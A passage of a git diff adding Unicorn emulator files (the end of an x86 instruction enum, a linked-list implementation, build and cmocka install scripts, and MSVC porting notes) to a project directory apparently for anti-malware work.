UC_X86_INS_VGATHERPF0QPS, + UC_X86_INS_VGATHERPF1DPD, + UC_X86_INS_VGATHERPF1DPS, + UC_X86_INS_VGATHERPF1QPD, + UC_X86_INS_VGATHERPF1QPS, + UC_X86_INS_VGATHERQPD, + UC_X86_INS_VGATHERQPS, + UC_X86_INS_VHADDPD, + UC_X86_INS_VHADDPS, + UC_X86_INS_VHSUBPD, + UC_X86_INS_VHSUBPS, + UC_X86_INS_VINSERTF128, + UC_X86_INS_VINSERTF32X4, + UC_X86_INS_VINSERTF32X8, + UC_X86_INS_VINSERTF64X2, + UC_X86_INS_VINSERTF64X4, + UC_X86_INS_VINSERTI128, + UC_X86_INS_VINSERTI32X4, + UC_X86_INS_VINSERTI32X8, + UC_X86_INS_VINSERTI64X2, + UC_X86_INS_VINSERTI64X4, + UC_X86_INS_VINSERTPS, + UC_X86_INS_VLDDQU, + UC_X86_INS_VLDMXCSR, + UC_X86_INS_VMASKMOVDQU, + UC_X86_INS_VMASKMOVPD, + UC_X86_INS_VMASKMOVPS, + UC_X86_INS_VMAXPD, + UC_X86_INS_VMAXPS, + UC_X86_INS_VMAXSD, + UC_X86_INS_VMAXSS, + UC_X86_INS_VMCALL, + UC_X86_INS_VMCLEAR, + UC_X86_INS_VMFUNC, + UC_X86_INS_VMINPD, + UC_X86_INS_VMINPS, + UC_X86_INS_VMINSD, + UC_X86_INS_VMINSS, + UC_X86_INS_VMLAUNCH, + UC_X86_INS_VMLOAD, + UC_X86_INS_VMMCALL, + UC_X86_INS_VMOVQ, + UC_X86_INS_VMOVDDUP, + UC_X86_INS_VMOVD, + UC_X86_INS_VMOVDQA32, + UC_X86_INS_VMOVDQA64, + UC_X86_INS_VMOVDQA, + UC_X86_INS_VMOVDQU16, + UC_X86_INS_VMOVDQU32, + UC_X86_INS_VMOVDQU64, + UC_X86_INS_VMOVDQU8, + UC_X86_INS_VMOVDQU, + UC_X86_INS_VMOVHLPS, + UC_X86_INS_VMOVHPD, + UC_X86_INS_VMOVHPS, + UC_X86_INS_VMOVLHPS, + UC_X86_INS_VMOVLPD, + UC_X86_INS_VMOVLPS, + UC_X86_INS_VMOVMSKPD, + UC_X86_INS_VMOVMSKPS, + UC_X86_INS_VMOVNTDQA, + UC_X86_INS_VMOVNTDQ, + UC_X86_INS_VMOVNTPD, + UC_X86_INS_VMOVNTPS, + UC_X86_INS_VMOVSD, + UC_X86_INS_VMOVSHDUP, + UC_X86_INS_VMOVSLDUP, + UC_X86_INS_VMOVSS, + UC_X86_INS_VMOVUPD, + UC_X86_INS_VMOVUPS, + UC_X86_INS_VMPSADBW, + UC_X86_INS_VMPTRLD, + UC_X86_INS_VMPTRST, + UC_X86_INS_VMREAD, + UC_X86_INS_VMRESUME, + UC_X86_INS_VMRUN, + UC_X86_INS_VMSAVE, + UC_X86_INS_VMULPD, + UC_X86_INS_VMULPS, + UC_X86_INS_VMULSD, + UC_X86_INS_VMULSS, + UC_X86_INS_VMWRITE, + UC_X86_INS_VMXOFF, + UC_X86_INS_VMXON, + UC_X86_INS_VPABSB, + UC_X86_INS_VPABSD, + UC_X86_INS_VPABSQ, + UC_X86_INS_VPABSW, + UC_X86_INS_VPACKSSDW, + UC_X86_INS_VPACKSSWB, + UC_X86_INS_VPACKUSDW, + UC_X86_INS_VPACKUSWB, + UC_X86_INS_VPADDB, + UC_X86_INS_VPADDD, + UC_X86_INS_VPADDQ, + UC_X86_INS_VPADDSB, + UC_X86_INS_VPADDSW, + UC_X86_INS_VPADDUSB, + UC_X86_INS_VPADDUSW, + UC_X86_INS_VPADDW, + UC_X86_INS_VPALIGNR, + UC_X86_INS_VPANDD, + UC_X86_INS_VPANDND, + UC_X86_INS_VPANDNQ, + UC_X86_INS_VPANDN, + UC_X86_INS_VPANDQ, + UC_X86_INS_VPAND, + UC_X86_INS_VPAVGB, + UC_X86_INS_VPAVGW, + UC_X86_INS_VPBLENDD, + UC_X86_INS_VPBLENDMB, + UC_X86_INS_VPBLENDMD, + UC_X86_INS_VPBLENDMQ, + UC_X86_INS_VPBLENDMW, + UC_X86_INS_VPBLENDVB, + UC_X86_INS_VPBLENDW, + UC_X86_INS_VPBROADCASTB, + UC_X86_INS_VPBROADCASTD, + UC_X86_INS_VPBROADCASTMB2Q, + UC_X86_INS_VPBROADCASTMW2D, + UC_X86_INS_VPBROADCASTQ, + UC_X86_INS_VPBROADCASTW, + UC_X86_INS_VPCLMULQDQ, + UC_X86_INS_VPCMOV, + UC_X86_INS_VPCMPB, + UC_X86_INS_VPCMPD, + UC_X86_INS_VPCMPEQB, + UC_X86_INS_VPCMPEQD, + UC_X86_INS_VPCMPEQQ, + UC_X86_INS_VPCMPEQW, + UC_X86_INS_VPCMPESTRI, + UC_X86_INS_VPCMPESTRM, + UC_X86_INS_VPCMPGTB, + UC_X86_INS_VPCMPGTD, + UC_X86_INS_VPCMPGTQ, + UC_X86_INS_VPCMPGTW, + UC_X86_INS_VPCMPISTRI, + UC_X86_INS_VPCMPISTRM, + UC_X86_INS_VPCMPQ, + UC_X86_INS_VPCMPUB, + UC_X86_INS_VPCMPUD, + UC_X86_INS_VPCMPUQ, + UC_X86_INS_VPCMPUW, + UC_X86_INS_VPCMPW, + UC_X86_INS_VPCOMB, + UC_X86_INS_VPCOMD, + UC_X86_INS_VPCOMPRESSD, + UC_X86_INS_VPCOMPRESSQ, + UC_X86_INS_VPCOMQ, + UC_X86_INS_VPCOMUB, + UC_X86_INS_VPCOMUD, + UC_X86_INS_VPCOMUQ, + UC_X86_INS_VPCOMUW, + UC_X86_INS_VPCOMW, + UC_X86_INS_VPCONFLICTD, + UC_X86_INS_VPCONFLICTQ, + UC_X86_INS_VPERM2F128, + UC_X86_INS_VPERM2I128, + UC_X86_INS_VPERMD, + UC_X86_INS_VPERMI2D, + UC_X86_INS_VPERMI2PD, + UC_X86_INS_VPERMI2PS, + UC_X86_INS_VPERMI2Q, + UC_X86_INS_VPERMIL2PD, + UC_X86_INS_VPERMIL2PS, + UC_X86_INS_VPERMILPD, + UC_X86_INS_VPERMILPS, + UC_X86_INS_VPERMPD, + UC_X86_INS_VPERMPS, + UC_X86_INS_VPERMQ, + UC_X86_INS_VPERMT2D, + UC_X86_INS_VPERMT2PD, + UC_X86_INS_VPERMT2PS, + UC_X86_INS_VPERMT2Q, + UC_X86_INS_VPEXPANDD, + UC_X86_INS_VPEXPANDQ, + UC_X86_INS_VPEXTRB, + UC_X86_INS_VPEXTRD, + UC_X86_INS_VPEXTRQ, + UC_X86_INS_VPEXTRW, + UC_X86_INS_VPGATHERDD, + UC_X86_INS_VPGATHERDQ, + UC_X86_INS_VPGATHERQD, + UC_X86_INS_VPGATHERQQ, + UC_X86_INS_VPHADDBD, + UC_X86_INS_VPHADDBQ, + UC_X86_INS_VPHADDBW, + UC_X86_INS_VPHADDDQ, + UC_X86_INS_VPHADDD, + UC_X86_INS_VPHADDSW, + UC_X86_INS_VPHADDUBD, + UC_X86_INS_VPHADDUBQ, + UC_X86_INS_VPHADDUBW, + UC_X86_INS_VPHADDUDQ, + UC_X86_INS_VPHADDUWD, + UC_X86_INS_VPHADDUWQ, + UC_X86_INS_VPHADDWD, + UC_X86_INS_VPHADDWQ, + UC_X86_INS_VPHADDW, + UC_X86_INS_VPHMINPOSUW, + UC_X86_INS_VPHSUBBW, + UC_X86_INS_VPHSUBDQ, + UC_X86_INS_VPHSUBD, + UC_X86_INS_VPHSUBSW, + UC_X86_INS_VPHSUBWD, + UC_X86_INS_VPHSUBW, + UC_X86_INS_VPINSRB, + UC_X86_INS_VPINSRD, + UC_X86_INS_VPINSRQ, + UC_X86_INS_VPINSRW, + UC_X86_INS_VPLZCNTD, + UC_X86_INS_VPLZCNTQ, + UC_X86_INS_VPMACSDD, + UC_X86_INS_VPMACSDQH, + UC_X86_INS_VPMACSDQL, + UC_X86_INS_VPMACSSDD, + UC_X86_INS_VPMACSSDQH, + UC_X86_INS_VPMACSSDQL, + UC_X86_INS_VPMACSSWD, + UC_X86_INS_VPMACSSWW, + UC_X86_INS_VPMACSWD, + UC_X86_INS_VPMACSWW, + UC_X86_INS_VPMADCSSWD, + UC_X86_INS_VPMADCSWD, + UC_X86_INS_VPMADDUBSW, + UC_X86_INS_VPMADDWD, + UC_X86_INS_VPMASKMOVD, + UC_X86_INS_VPMASKMOVQ, + UC_X86_INS_VPMAXSB, + UC_X86_INS_VPMAXSD, + UC_X86_INS_VPMAXSQ, + UC_X86_INS_VPMAXSW, + UC_X86_INS_VPMAXUB, + UC_X86_INS_VPMAXUD, + UC_X86_INS_VPMAXUQ, + UC_X86_INS_VPMAXUW, + UC_X86_INS_VPMINSB, + UC_X86_INS_VPMINSD, + UC_X86_INS_VPMINSQ, + UC_X86_INS_VPMINSW, + UC_X86_INS_VPMINUB, + UC_X86_INS_VPMINUD, + UC_X86_INS_VPMINUQ, + UC_X86_INS_VPMINUW, + UC_X86_INS_VPMOVDB, + UC_X86_INS_VPMOVDW, + UC_X86_INS_VPMOVM2B, + UC_X86_INS_VPMOVM2D, + UC_X86_INS_VPMOVM2Q, + UC_X86_INS_VPMOVM2W, + UC_X86_INS_VPMOVMSKB, + UC_X86_INS_VPMOVQB, + UC_X86_INS_VPMOVQD, + UC_X86_INS_VPMOVQW, + UC_X86_INS_VPMOVSDB, + UC_X86_INS_VPMOVSDW, + UC_X86_INS_VPMOVSQB, + UC_X86_INS_VPMOVSQD, + UC_X86_INS_VPMOVSQW, + UC_X86_INS_VPMOVSXBD, + UC_X86_INS_VPMOVSXBQ, + UC_X86_INS_VPMOVSXBW, + UC_X86_INS_VPMOVSXDQ, + UC_X86_INS_VPMOVSXWD, + UC_X86_INS_VPMOVSXWQ, + UC_X86_INS_VPMOVUSDB, + UC_X86_INS_VPMOVUSDW, + UC_X86_INS_VPMOVUSQB, + UC_X86_INS_VPMOVUSQD, + UC_X86_INS_VPMOVUSQW, + UC_X86_INS_VPMOVZXBD, + UC_X86_INS_VPMOVZXBQ, + UC_X86_INS_VPMOVZXBW, + UC_X86_INS_VPMOVZXDQ, + UC_X86_INS_VPMOVZXWD, + UC_X86_INS_VPMOVZXWQ, + UC_X86_INS_VPMULDQ, + UC_X86_INS_VPMULHRSW, + UC_X86_INS_VPMULHUW, + UC_X86_INS_VPMULHW, + UC_X86_INS_VPMULLD, + UC_X86_INS_VPMULLQ, + UC_X86_INS_VPMULLW, + UC_X86_INS_VPMULUDQ, + UC_X86_INS_VPORD, + UC_X86_INS_VPORQ, + UC_X86_INS_VPOR, + UC_X86_INS_VPPERM, + UC_X86_INS_VPROTB, + UC_X86_INS_VPROTD, + UC_X86_INS_VPROTQ, + UC_X86_INS_VPROTW, + UC_X86_INS_VPSADBW, + UC_X86_INS_VPSCATTERDD, + UC_X86_INS_VPSCATTERDQ, + UC_X86_INS_VPSCATTERQD, + UC_X86_INS_VPSCATTERQQ, + UC_X86_INS_VPSHAB, + UC_X86_INS_VPSHAD, + UC_X86_INS_VPSHAQ, + UC_X86_INS_VPSHAW, + UC_X86_INS_VPSHLB, + UC_X86_INS_VPSHLD, + UC_X86_INS_VPSHLQ, + UC_X86_INS_VPSHLW, + UC_X86_INS_VPSHUFB, + UC_X86_INS_VPSHUFD, + UC_X86_INS_VPSHUFHW, + UC_X86_INS_VPSHUFLW, + UC_X86_INS_VPSIGNB, + UC_X86_INS_VPSIGND, + UC_X86_INS_VPSIGNW, + UC_X86_INS_VPSLLDQ, + UC_X86_INS_VPSLLD, + UC_X86_INS_VPSLLQ, + UC_X86_INS_VPSLLVD, + UC_X86_INS_VPSLLVQ, + UC_X86_INS_VPSLLW, + UC_X86_INS_VPSRAD, + UC_X86_INS_VPSRAQ, + UC_X86_INS_VPSRAVD, + UC_X86_INS_VPSRAVQ, + UC_X86_INS_VPSRAW, + UC_X86_INS_VPSRLDQ, + UC_X86_INS_VPSRLD, + UC_X86_INS_VPSRLQ, + UC_X86_INS_VPSRLVD, + UC_X86_INS_VPSRLVQ, + UC_X86_INS_VPSRLW, + UC_X86_INS_VPSUBB, + UC_X86_INS_VPSUBD, + UC_X86_INS_VPSUBQ, + UC_X86_INS_VPSUBSB, + UC_X86_INS_VPSUBSW, + UC_X86_INS_VPSUBUSB, + UC_X86_INS_VPSUBUSW, + UC_X86_INS_VPSUBW, + UC_X86_INS_VPTESTMD, + UC_X86_INS_VPTESTMQ, + UC_X86_INS_VPTESTNMD, + UC_X86_INS_VPTESTNMQ, + UC_X86_INS_VPTEST, + UC_X86_INS_VPUNPCKHBW, + UC_X86_INS_VPUNPCKHDQ, + UC_X86_INS_VPUNPCKHQDQ, + UC_X86_INS_VPUNPCKHWD, + UC_X86_INS_VPUNPCKLBW, + UC_X86_INS_VPUNPCKLDQ, + UC_X86_INS_VPUNPCKLQDQ, + UC_X86_INS_VPUNPCKLWD, + UC_X86_INS_VPXORD, + UC_X86_INS_VPXORQ, + UC_X86_INS_VPXOR, + UC_X86_INS_VRCP14PD, + UC_X86_INS_VRCP14PS, + UC_X86_INS_VRCP14SD, + UC_X86_INS_VRCP14SS, + UC_X86_INS_VRCP28PD, + UC_X86_INS_VRCP28PS, + UC_X86_INS_VRCP28SD, + UC_X86_INS_VRCP28SS, + UC_X86_INS_VRCPPS, + UC_X86_INS_VRCPSS, + UC_X86_INS_VRNDSCALEPD, + UC_X86_INS_VRNDSCALEPS, + UC_X86_INS_VRNDSCALESD, + UC_X86_INS_VRNDSCALESS, + UC_X86_INS_VROUNDPD, + UC_X86_INS_VROUNDPS, + UC_X86_INS_VROUNDSD, + UC_X86_INS_VROUNDSS, + UC_X86_INS_VRSQRT14PD, + UC_X86_INS_VRSQRT14PS, + UC_X86_INS_VRSQRT14SD, + UC_X86_INS_VRSQRT14SS, + UC_X86_INS_VRSQRT28PD, + UC_X86_INS_VRSQRT28PS, + UC_X86_INS_VRSQRT28SD, + UC_X86_INS_VRSQRT28SS, + UC_X86_INS_VRSQRTPS, + UC_X86_INS_VRSQRTSS, + UC_X86_INS_VSCATTERDPD, + UC_X86_INS_VSCATTERDPS, + UC_X86_INS_VSCATTERPF0DPD, + UC_X86_INS_VSCATTERPF0DPS, + UC_X86_INS_VSCATTERPF0QPD, + UC_X86_INS_VSCATTERPF0QPS, + UC_X86_INS_VSCATTERPF1DPD, + UC_X86_INS_VSCATTERPF1DPS, + UC_X86_INS_VSCATTERPF1QPD, + UC_X86_INS_VSCATTERPF1QPS, + UC_X86_INS_VSCATTERQPD, + UC_X86_INS_VSCATTERQPS, + UC_X86_INS_VSHUFPD, + UC_X86_INS_VSHUFPS, + UC_X86_INS_VSQRTPD, + UC_X86_INS_VSQRTPS, + UC_X86_INS_VSQRTSD, + UC_X86_INS_VSQRTSS, + UC_X86_INS_VSTMXCSR, + UC_X86_INS_VSUBPD, + UC_X86_INS_VSUBPS, + UC_X86_INS_VSUBSD, + UC_X86_INS_VSUBSS, + UC_X86_INS_VTESTPD, + UC_X86_INS_VTESTPS, + UC_X86_INS_VUNPCKHPD, + UC_X86_INS_VUNPCKHPS, + UC_X86_INS_VUNPCKLPD, + UC_X86_INS_VUNPCKLPS, + UC_X86_INS_VZEROALL, + UC_X86_INS_VZEROUPPER, + UC_X86_INS_WAIT, + UC_X86_INS_WBINVD, + UC_X86_INS_WRFSBASE, + UC_X86_INS_WRGSBASE, + UC_X86_INS_WRMSR, + UC_X86_INS_XABORT, + UC_X86_INS_XACQUIRE, + UC_X86_INS_XBEGIN, + UC_X86_INS_XCHG, + UC_X86_INS_XCRYPTCBC, + UC_X86_INS_XCRYPTCFB, + UC_X86_INS_XCRYPTCTR, + UC_X86_INS_XCRYPTECB, + UC_X86_INS_XCRYPTOFB, + UC_X86_INS_XEND, + UC_X86_INS_XGETBV, + UC_X86_INS_XLATB, + UC_X86_INS_XRELEASE, + UC_X86_INS_XRSTOR, + UC_X86_INS_XRSTOR64, + UC_X86_INS_XRSTORS, + UC_X86_INS_XRSTORS64, + UC_X86_INS_XSAVE, + UC_X86_INS_XSAVE64, + UC_X86_INS_XSAVEC, + UC_X86_INS_XSAVEC64, + UC_X86_INS_XSAVEOPT, + UC_X86_INS_XSAVEOPT64, + UC_X86_INS_XSAVES, + UC_X86_INS_XSAVES64, + UC_X86_INS_XSETBV, + UC_X86_INS_XSHA1, + UC_X86_INS_XSHA256, + UC_X86_INS_XSTORE, + UC_X86_INS_XTEST, + UC_X86_INS_FDISI8087_NOP, + UC_X86_INS_FENI8087_NOP, + + UC_X86_INS_ENDING, // mark the end of the list of insn +} uc_x86_insn; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/install-cmocka-linux.sh b/ai_anti_malware/unicorn/unicorn-master/install-cmocka-linux.sh new file mode 100644 index 0000000..85b2a12 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/install-cmocka-linux.sh @@ -0,0 +1,12 @@ +#!/bin/sh -ex +mkdir -p cmocka +#wget https://cmocka.org/files/1.1/cmocka-1.1.0.tar.xz -O /tmp/cmocka-1.1.0.tar.xz +wget --no-check-certificate https://cmocka.org/files/1.1/cmocka-1.1.1.tar.xz -P /tmp/ +tar -xf /tmp/cmocka-1.1.1.tar.xz -C /tmp +cd cmocka && cmake -DUNIT_TESTING=On /tmp/cmocka-1.1.1 && make && make test +# cmake builds an so instead of a dll in mingw/msys +if [[ ! -z $MSYSTEM ]]; then +cp src/cmocka.so src/cmocka.dll +fi +# cmocka does not include headers in build +cp -R /tmp/cmocka-1.1.1/include/ . diff --git a/ai_anti_malware/unicorn/unicorn-master/list.c b/ai_anti_malware/unicorn/unicorn-master/list.c new file mode 100644 index 0000000..164efcb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/list.c @@ -0,0 +1,111 @@ +#include <stdlib.h> +#include "unicorn/platform.h" +#include "list.h" + +// simple linked list implementation + +struct list *list_new(void) +{ + return calloc(1, sizeof(struct list)); +} + +// removed linked list nodes but does not free their content +void list_clear(struct list *list) +{ + struct list_item *next, *cur = list->head; + while (cur != NULL) { + next = cur->next; + free(cur); + cur = next; + } + list->head = NULL; + list->tail = NULL; +} + +// insert a new item at the begin of the list. +// returns generated linked list node, or NULL on failure +void *list_insert(struct list *list, void *data) +{ + struct list_item *item = malloc(sizeof(struct list_item)); + if (item == NULL) { + return NULL; + } + + item->data = data; + item->next = list->head; + + if (list->tail == NULL) { + list->tail = item; + } + + list->head = item; + + return item; +} + +// append a new item at the end of the list. +// returns generated linked list node, or NULL on failure +void *list_append(struct list *list, void *data) +{ + struct list_item *item = malloc(sizeof(struct list_item)); + if (item == NULL) { + return NULL; + } + item->next = NULL; + item->data = data; + if (list->head == NULL) { + list->head = item; + } else { + list->tail->next = item; + } + list->tail = item; + return item; +} + +// returns true if entry was removed, false otherwise +bool list_remove(struct list *list, void *data) +{ + struct list_item *next, *cur, *prev = NULL; + // is list empty? + if (list->head == NULL) { + return false; + } + cur = list->head; + while (cur != NULL) { + next = cur->next; + if (cur->data == data) { + if (cur == list->head) { + list->head = next; + } else { + prev->next = next; + } + if (cur == list->tail) { + list->tail = prev; + } + free(cur); + return true; + } + prev = cur; + cur = next; + } + return false; +} + +// returns true if the data exists in the list +bool list_exists(struct list *list, void *data) +{ + struct list_item *next, *cur = NULL; + // is list empty? + if (list->head == NULL) { + return false; + } + cur = list->head; + while (cur != NULL) { + next = cur->next; + if (cur->data == data) { + return true; + } + cur = next; + } + return false; +} \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/make.sh b/ai_anti_malware/unicorn/unicorn-master/make.sh new file mode 100644 index 0000000..3b876de --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/make.sh @@ -0,0 +1,138 @@ +#!/bin/sh + +# Unicorn Engine +# By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 + +usage() { + cat 1>&2 <<EOF +make.sh - The build script for unicorn engine +USAGE: + $ ./make.sh [OPTIONS] +OPTIONS: + Build the project + asan Build for ASan + install Install the project + uninstall Uninstall the project + macos-universal Build universal binaries on macOS + macos-universal-no Build non-universal binaries that includes only 64-bit code on macOS + cross-win32 Cross-compile Windows 32-bit binary with MinGW + cross-win64 Cross-compile Windows 64-bit binary with MinGW + cross-android_arm Cross-compile for Android Arm + cross-android_arm64 Cross-compile for Android Arm64 + linux32 Cross-compile Unicorn on 64-bit Linux to target 32-bit binary + msvc_update_genfiles Generate files for MSVC projects +EOF +} + +MAKE_JOBS=$((MAKE_JOBS+0)) +[ ${MAKE_JOBS} -lt 1 ] && \ + MAKE_JOBS=4 + +# build for ASAN +asan() { + env UNICORN_DEBUG=yes UNICORN_ASAN=yes "${MAKE}" V=1 +} + +build_cross() { + [ "$UNAME" = Darwin ] && LIBARCHS="i386 x86_64" + CROSS=$1 + CC=$CROSS-gcc \ + AR=$CROSS-gcc-ar \ + RANLIB=$CROSS-gcc-ranlib \ + ${MAKE} +} + +build_linux32() { + PKG_CONFIG_PATH="/usr/lib/i386-linux-gnu/pkgconfig" \ + CFLAGS=-m32 \ + LDFLAGS=-m32 \ + LDFLAGS_STATIC=-m32 \ + LIBRARY_PATH="/usr/lib/i386-linux-gnu" \ + UNICORN_QEMU_FLAGS="--cpu=i386 ${UNICORN_QEMU_FLAGS}" \ + ${MAKE} +} + +install() { + # Mac OSX needs to find the right directory for pkgconfig + if [ "$UNAME" = Darwin ]; then + # we are going to install into /usr/local, so remove old installs under /usr + rm -rf /usr/lib/libunicorn* + rm -rf /usr/include/unicorn + # install into /usr/local + PREFIX=${PREFIX:-/usr/local} + ${MAKE} install + else # not OSX + test -d /usr/lib64 && LIBDIRARCH=lib64 + ${MAKE} install + fi +} + +uninstall() { + # Mac OSX needs to find the right directory for pkgconfig + if [ "$UNAME" = "Darwin" ]; then + # find the directory automatically, so we can support both Macport & Brew + PKGCFGDIR="$(pkg-config --variable pc_path pkg-config | cut -d ':' -f 1)" + PREFIX=${PREFIX:-/usr/local} + ${MAKE} uninstall + else # not OSX + test -d /usr/lib64 && LIBDIRARCH=lib64 + ${MAKE} uninstall + fi +} + +msvc_update_genfiles() { + ${MAKE} + cp qemu/qapi-types.h msvc/unicorn/qapi-types.h + cp qemu/qapi-visit.h msvc/unicorn/qapi-visit.h + cp qemu/qapi-types.c msvc/unicorn/qapi-types.c + cp qemu/qapi-visit.c msvc/unicorn/qapi-visit.c + cp qemu/config-host.h msvc/unicorn/config-host.h + cp qemu/aarch64-softmmu/config-target.h msvc/unicorn/aarch64-softmmu/config-target.h + cp qemu/aarch64eb-softmmu/config-target.h msvc/unicorn/aarch64eb-softmmu/config-target.h + cp qemu/arm-softmmu/config-target.h msvc/unicorn/arm-softmmu/config-target.h + cp qemu/armeb-softmmu/config-target.h msvc/unicorn/armeb-softmmu/config-target.h + cp qemu/m68k-softmmu/config-target.h msvc/unicorn/m68k-softmmu/config-target.h + cp qemu/mips64el-softmmu/config-target.h msvc/unicorn/mips64el-softmmu/config-target.h + cp qemu/mips64-softmmu/config-target.h msvc/unicorn/mips64-softmmu/config-target.h + cp qemu/mipsel-softmmu/config-target.h msvc/unicorn/mipsel-softmmu/config-target.h + cp qemu/mips-softmmu/config-target.h msvc/unicorn/mips-softmmu/config-target.h + cp qemu/sparc64-softmmu/config-target.h msvc/unicorn/sparc64-softmmu/config-target.h + cp qemu/sparc-softmmu/config-target.h msvc/unicorn/sparc-softmmu/config-target.h + cp qemu/x86_64-softmmu/config-target.h msvc/unicorn/x86_64-softmmu/config-target.h +} + +UNAME=${UNAME:-$(uname)} +MAKE=${MAKE:-make} +#[ -n "${MAKE_JOBS}" ] && MAKE="$MAKE -j${MAKE_JOBS}" + + +if [ "$UNAME" = SunOS ]; then + MAKE=${MAKE:-gmake} + INSTALL_BIN=ginstall + CC=gcc +fi + +if echo "$UNAME" | grep -q BSD; then + MAKE=gmake + PREFIX=${PREFIX:-/usr/local} +fi + +export CC INSTALL_BIN PREFIX PKGCFGDIR LIBDIRARCH LIBARCHS CFLAGS LDFLAGS + +case "$1" in + "" ) ${MAKE};; + "asan" ) asan;; + "install" ) install;; + "uninstall" ) uninstall;; + "macos-universal" ) MACOS_UNIVERSAL=yes ${MAKE};; + "macos-universal-no" ) MACOS_UNIVERSAL=no ${MAKE};; + "cross-win32" ) build_cross i686-w64-mingw32;; + "cross-win64" ) build_cross x86_64-w64-mingw32;; + "cross-android_arm" ) CROSS=arm-linux-androideabi ${MAKE};; + "cross-android_arm64" ) CROSS=aarch64-linux-android ${MAKE};; + "linux32" ) build_linux32;; + "msvc_update_genfiles" ) msvc_update_genfiles;; + * ) + usage; + exit 1;; +esac diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc.bat b/ai_anti_malware/unicorn/unicorn-master/msvc.bat new file mode 100644 index 0000000..285ea92 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc.bat @@ -0,0 +1,3 @@ +:: build Unicorn MSVC solution from MSVC prompt + +msbuild msvc/unicorn.sln diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/.gitignore b/ai_anti_malware/unicorn/unicorn-master/msvc/.gitignore new file mode 100644 index 0000000..6b23e35 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/.gitignore @@ -0,0 +1,3 @@ +unicorn.VC.VC.opendb +unicorn.VC.db +distro diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/README.TXT b/ai_anti_malware/unicorn/unicorn-master/msvc/README.TXT new file mode 100644 index 0000000..7853b8d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/README.TXT @@ -0,0 +1,273 @@ +Unicorn-Engine MSVC Native Port Notes + +Zak Escano - January 2017 + +These notes are to help myself and others with the upkeep of the msvc native port +of unicorn-engine. + + +:: Command line build instructions + + msbuild -m -p:Configuration=Release -p:Platform=Win32 + msbuild -m -p:Configuration=Release -p:Platform=x64 + +Then bundle and release the folder "distro". + + +:: Build settings + +Visual Studio Version: Visual Studio 2017 v15.9.15 +Platform Toolset: Default. Known to work with the 8.1 SDK +Character Set: Use Multi-Byte Character Set +Runtime Library Debug: Multi-threaded Debug (/MTd) +Runtime Library Release: Multi-threaded (/MT) +Precompiled Header: Not Using Precompiled Headers +Additional Options: /wd4018 /wd4244 /wd4267 + + +:: Build advice + +- If you see warnings about spectre-mitigated libraries and then some strange + errors, the errors may be related to the spectre libraries. Install them. + (via the visual studio installation manager) +- The "platform default" target SDK may not actually be installed for you. Try + installing the Windows 8.1 SDK via the visual studio installation manager. + + +:: Changes porting unicorn from GNU/GCC to MSVC. + +There were many many many changes to make this also build in MSVC +while still retaining the ability to build in GNU/GCC. +Most were due to either GCC specific things or MSVC lack of decent +standard C support especially in VS2012. Also some were for +posix/platform specific stuff that is not present in windows. + +Some of the more common changes were: + +* Compatibility for GCC style __attribute__'s. + +* Change GCC switch case ranges to specify every case individually, ie: + "case 1 ... 3:" changes to "case 1: case 2: case 3:" + +* Change GCC struct member initialisation to the more generic + initialisation of all members in order, ie: + { .value = 1, .stuff = 2 } to { 1, 2 } + +* Remove GCC style macro return values which MSVC does not support, ie: + #define RETURN_ONE(x) ({ some stuff; (void)1; }) + +* Compatibility for posix headers that are missing in windows, ie: + stdbool.h, stdint.h, sys/time.h, unistd.h + + +:: CPU specific libraries + +The gnu/gcc way of building the qemu portion of unicorn-engine involves makefile magic +that builds the same set of sourcecode files multiple times. They are built once for each +supported CPU type and force "#include" a CPU specific header file to re-"#define" +function and variable names that would otherwise be the same for each build. +These multiple builds of the same files are then all linked together to form +the unicorn library. + +As an example when building for "x86_64" cpu type the generated header file "x86_64.h" +is force included and it contains a bunch of defines such as: + #define phys_mem_clean phys_mem_clean_x86_64 +So you can see that it adds the cpu type on to the end of each name in order +to keep the names unique over the multiple builds. + +The way I handle this in MSVC is to build a seperate cpu specific library, containing +this set of repeatedly used sourcecode files, for each supported cpu type. +These cpu specific libraries are then linked together to build the unicorn library. + +For each supported CPU type + +* Each CPU specific lib has a "forced include" file specified at: + Configuration Properties -> C/C++ -> Advanced -> Forced Include File + so for x86-64 this is "the file "x86_64.h" which is a generated file. + + +:: Other things + +* The Qemu code for GNU/GCC seems to rely on __i386__ or __x86_64__ defined if + the host is 32bit or 64bit respectively. + So when building 32bit libs in msvc we define __i386__. + And when building 64bit libs in msvc we define __x86_64__. + +* There is a tcg-target.c for each target that is included into tcg.c. + This is done using "#include tcg-target.c" + It is NOT built separately as part of the *.c files for the project. + + +:: Info from makefiles + +This info is compiled here together to help with deciding on the build settings to use. +It may or may not be of use to anyone in the future once this all builds ok :) + +QEMU_INCLUDES=-I$(SRC_PATH)/tcg -I$(SRC_PATH)/tcg/$(ARCH) -I. -I$(SRC_PATH) -I$(SRC_PATH)/include +QEMU_CFLAGS=-m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -DUNICORN_HAS_X86 -DUNICORN_HAS_ARM -DUNICORN_HAS_M68K -DUNICORN_HAS_ARM64 -DUNICORN_HAS_MIPS -DUNICORN_HAS_MIPSEL -DUNICORN_HAS_MIPS64 -DUNICORN_HAS_MIPS64EL -DUNICORN_HAS_SPARC -fPIC +QEMU_CFLAGS += -I.. -I$(SRC_PATH)/target-$(TARGET_BASE_ARCH) -DNEED_CPU_H +QEMU_CFLAGS+=-I$(SRC_PATH)/include +QEMU_CFLAGS+=-include x86_64.h + + includes +-I$(SRC_PATH)/tcg +-I$(SRC_PATH)/tcg/$(ARCH) +-I. +-I$(SRC_PATH) +-I$(SRC_PATH)/include +-I.. 